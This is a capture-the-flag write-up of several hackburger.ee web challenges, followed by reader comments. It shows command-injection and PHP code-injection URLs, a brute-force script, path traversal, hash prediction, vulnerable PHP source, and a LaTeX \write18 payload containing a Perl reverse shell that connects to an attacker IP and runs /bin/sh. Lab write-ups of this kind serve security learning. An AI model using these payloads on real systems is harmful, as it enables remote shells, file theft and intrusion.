I’ve decided to publish http://hackburger.ee writeups
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| == Warm up | |
| http://burger.laboratorium.ee:8000/?host=%7Ccat+flag.php | |
| Congratulations! | |
| The flag is f1b35744925a3f5946c542a1ee64267af8b93b06 | |
| == File search (30 points) | |
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| from itertools import product | |
| import requests | |
| url = 'http://burger.laboratorium.ee:8004/' | |
| x = map(''.join, product('0123456789abcdef', repeat=2)) | |
| flag = 'c8' | |
| for i in range(0, 39): | |
| for hexa in x: | |
| payload = {'query': flag + str(hexa)} | |
| r = requests.post(url, data=payload) | |
| if 'flag.txt' in r.text: | |
| flag += hexa | |
| payload = {'query': str(flag)} | |
| print flag | |
| c82584c307421228a3c5c5e4dc6a3ea31859975e | |
| == Enter password to get candy (30 points) | |
| POST / HTTP/1.1 | |
| Host: burger.laboratorium.ee:8003 | |
| Content-Length: 32 | |
| Accept: */* | |
| Origin: http://burger.laboratorium.ee:8003 | |
| X-Requested-With: XMLHttpRequest | |
| User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| Referer: http://burger.laboratorium.ee:8003/ | |
| Accept-Language: es-ES,es;q=0.8 | |
| Cookie: __tawkuuid=e::laboratorium.ee::TOmz6i1BEaKMU8mYuXzP+B0SfD+IhVbLHWkL958QseQJtBq2tG0WZnRmaOHHLny6::2; _ga=GA1.2.1703078470.1500476197 | |
| Connection: close | |
| data=%7B%22password%22%3Atrue%7D | |
| Logged in. Flag is: eae482e1c2d9147891174ecd38bb95a7ee2a9a70 | |
| == Number to ASCII converter (50 points) | |
| http://1.hackme.laboratorium.ee/?number=var_dump(file_get_contents(%22where/is/the/flag/i/am/looking/for/flag.php%22)); | |
| == Magic (120 points) | |
| Please enter 4 flags, separated by underscore (_). | |
| Initially Flag3 was removed (replace with '0') but searching i have found it. | |
| http://6.hackme.laboratorium.ee/03ada8e9692d58a7ff23d3e9317140f8582630d7.txt | |
| Congratulations! | |
| Flag 3 of 4 is: be2933a15bedf986b6e72e6addd3e439693b91fc | |
| Please enter 4 flags, separated by underscore (_). | |
| Flag1 of 4 is: 47b9664515420d44d2c77dc593f7514ccbd17be8 | |
| — on .git | |
| 47b9664515420d44d2c77dc593f7514ccbd17be8 | |
| — on robots.txt | |
| Flag 2 of 4 is: 392d28473a135c2491c227f373d0eed0310e13e3 | |
| — on index.php~ | |
| Flag 4 of 4 is: ebb696a5abb04c8875a0afa29f6dc8d167db67e8 | |
| 47b9664515420d44d2c77dc593f7514ccbd17be8_392d28473a135c2491c227f373d0eed0310e13e3_0_ebb696a5abb04c8875a0afa29f6dc8d167db67e8 | |
| == Underfull hbox (200 points) | |
| Solution was a symlink that www-data moves to output. | |
| www-data -> nginx | |
| hackme8 -> php script | |
| hackme8-jail -> sandboxed | |
| \documentclass{article} | |
| \begin{document} | |
| \immediate\write18{ln -s /home/hackme8/task/index.php sometask.pdf} | |
| … | |
| txt | |
| … | |
| \end{document} | |
| curl -vvv http://burger.laboratorium.ee:8008/output/4ceb1e89ab6841dc731bb3abf402c1245999b9634936b39eafb4532dc43f295e0cbacfdddc9d0fcb/sometask.pdf | |
| * Trying 217.182.73.250… | |
| * Connected to burger.laboratorium.ee (217.182.73.250) port 8008 (#0) | |
| > GET /output/4ceb1e89ab6841dc731bb3abf402c1245999b9634936b39eafb4532dc43f295e0cbacfdddc9d0fcb/sometask.pdf HTTP/1.1 | |
| > Host: burger.laboratorium.ee:8008 | |
| > User-Agent: curl/7.47.0 | |
| > Accept: */* | |
| > | |
| < HTTP/1.1 200 OK | |
| < Server: nginx/1.10.3 | |
| < Date: Sat, 19 Aug 2017 07:10:13 GMT | |
| < Content-Type: application/pdf | |
| < Content-Length: 1405 | |
| < Last-Modified: Tue, 25 Jul 2017 13:04:20 GMT | |
| < Connection: keep-alive | |
| < ETag: "597741d4-57d" | |
| < Accept-Ranges: bytes | |
| < | |
| <html> | |
| <head> | |
| <style> | |
| textarea { | |
| width: 100%; | |
| height: 400px; | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>LaTeX compiler</h1> | |
| <p> | |
| happy underfull hboxes (badness 10000) | |
| </p> | |
| <h2></h2> | |
| <form action="" method="POST"> | |
| <textarea name="content"></textarea> | |
| <input type="submit" value="Compile LaTeX" /> | |
| </form> | |
| <?php | |
| // You may be interested in the flag. | |
| // The flag is: e1b19a9f1159560c0036d87c4831f9cb26ef7d0c | |
| if ($_POST['content']) { | |
| echo '<h2>Compilation result</h2>'; | |
| function random_token() { | |
| return bin2hex(openssl_random_pseudo_bytes(40)); | |
| } | |
| $folder = random_token(); | |
| mkdir("/tmp/" . $folder); | |
| system("chmod -R 777 /tmp/" . $folder); | |
| $f = fopen("/tmp/" . $folder . "/doc.latex", "w"); | |
| fwrite($f, $_POST['content']); | |
| fclose($f); | |
| system('sudo -u hackme8-jail /home/hackme8-jail/task/compile-latex /tmp/' . $folder); | |
| system("cp -R /tmp/" . $folder ." " . __DIR__ . '/output/'); | |
| echo "<a href='/output/" . $folder . "/doc.pdf'>here's your pdf</a>"; | |
| } | |
| ?> | |
| </body> | |
| </html> | |
| Bonus – shell and OLD solution | |
| \documentclass{article} | |
| \begin{document} | |
| \immediate\write18{perl -e 'use Socket;$i="YOUR";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'} | |
| … | |
| TXT | |
| … | |
| \end{document} | |
| <html> | |
| <head> | |
| <style> | |
| textarea { | |
| width: 100%; | |
| height: 400px; | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>LaTeX compiler</h1> | |
| <p> | |
| happy underfull hboxes (badness 10000) | |
| </p> | |
| <h2></h2> | |
| <form action="" method="POST"> | |
| <textarea name="content"></textarea> | |
| <input type="submit" value="Compile LaTeX" /> | |
| </form> | |
| <?php | |
| // You may be interested in the flag. | |
| // The flag is: ea39877adf2aabe27c21f03c08caabc27851e18b | |
| if ($_POST['content']) { | |
| echo '<h2>Compilation result</h2>'; | |
| function random_token() { | |
| return bin2hex(openssl_random_pseudo_bytes(40)); | |
| } | |
| $folder = random_token(); | |
| mkdir("/tmp/" . $folder); | |
| system("chmod -R 777 /tmp/" . $folder); | |
| $f = fopen("/tmp/" . $folder . "/doc.latex", "w"); | |
| fwrite($f, $_POST['content']); | |
| fclose($f); | |
| system('sudo -u hackme8-jail /home/hackme/hackme8-jail/compile-latex /tmp/' . $folder); | |
| system("cp -R /tmp/" . $folder ." output/"); | |
| echo "<a href='/output/" . $folder . "/doc.pdf'>here's your pdf</a>"; | |
| } | |
| ?> | |
| </body> | |
| </html> | |
| == Zip file browser (150 points) | |
| ../../../../home/hackme/hackme5/index.php | |
| <?php | |
| $FLAG = '05f5ba70a5bcc14ba4dd2d66147045b3c067400c'; | |
| error_reporting(E_ALL); | |
| ini_set("display_errors", 1); | |
| function rand_key() { | |
| $result = ''; | |
| for($i = 0; $i < 40; $i++) { | |
| $result .= rand() % 10; | |
| } | |
| return $result; | |
| } | |
| if (!empty($_FILES)) { | |
| $zip = $_FILES["zipfile"]["tmp_name"]; | |
| $name = $_POST['filename']; | |
| $tempdir = sys_get_temp_dir() . '/dir_hackme5_' . rand_key(); | |
| mkdir($tempdir); | |
| system("unzip -j ". escapeshellarg($zip) . " -d " . escapeshellarg($tempdir) . " 2>&1 > /dev/null"); | |
| echo '<h2>File contents</h2>'; | |
| if (stripos('/', $name) !== FALSE) { | |
| die("hax0r no!"); | |
| } | |
| echo file_get_contents($tempdir . "/" . $name); | |
| } | |
| ?> | |
| flag: 05f5ba70a5bcc14ba4dd2d66147045b3c067400c | |
| == We tried to clone pastebin (90 points) | |
| <?php | |
| if (isset($_POST['content'])) { | |
| if (strlen($_POST['content']) > 1000) { | |
| die("At most 1000 chars"); | |
| } | |
| $hash = md5(time() . time() . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1(time())); | |
| $f = fopen(__DIR__ . "/files/" . $hash, 'w'); | |
| fwrite($f, date("Y-m-d H:i:s") . "\n"); | |
| fwrite($f, $_POST['content']); | |
| fclose($f); | |
| header("Location: /files/" . $hash); | |
| die(); | |
| } | |
| ?> | |
| <html> | |
| <head> | |
| <style> | |
| textarea { | |
| width: 100%; | |
| height: 400px; | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>A service like pastebin, but worse</h1> | |
| <h2>Add paste</h2> | |
| <form action="" method="POST"> | |
| <textarea name="content"></textarea> | |
| <input type="submit" value="Add" /> | |
| </form> | |
| <h2>Recent pastes</h2> | |
| <pre><?php | |
| $files = scandir(__DIR__ . '/files/'); | |
| $lines = array(); | |
| foreach($files as $hash) { | |
| if ($hash == '.' || $hash == '..') { | |
| continue; | |
| } | |
| $f = fopen(__DIR__ . "/files/" . $hash, 'r'); | |
| $date_line = fgets($f); | |
| fclose($f); | |
| array_push($lines, $date_line); | |
| } | |
| sort($lines); | |
| foreach($lines as $date_line) { | |
| echo $date_line . "\n"; | |
| } | |
| ?></pre> | |
| </body> | |
| </html> | |
| Take $hash = md5(time() . time() . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1(time())); | |
| 2017-07-23 19:15:11 | |
| The flag is: c4c1006fbdacbb8fd9cebee71a316bc2fac8620f | |
| http://burger.laboratorium.ee:8007/files/e452096701642327b38f352430b89e97 | |
| <?php $i='1500830111'; | |
| echo md5($i . $i . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($i)); | |
| ?> | |
Hi 123,
I have solved this task when it was buggy and can be solved from other tasks. Site had been with some tasks problems and i haven’t retry to solve it. i guess by the code you can upload a crafted file to reach rce due to system command. Maybe, but i have not try it.
Thanks to release the write-up. Can you explain more about Zip file browser task? I don’t understand that exploit code can be bypassed to «stripos» for LFI..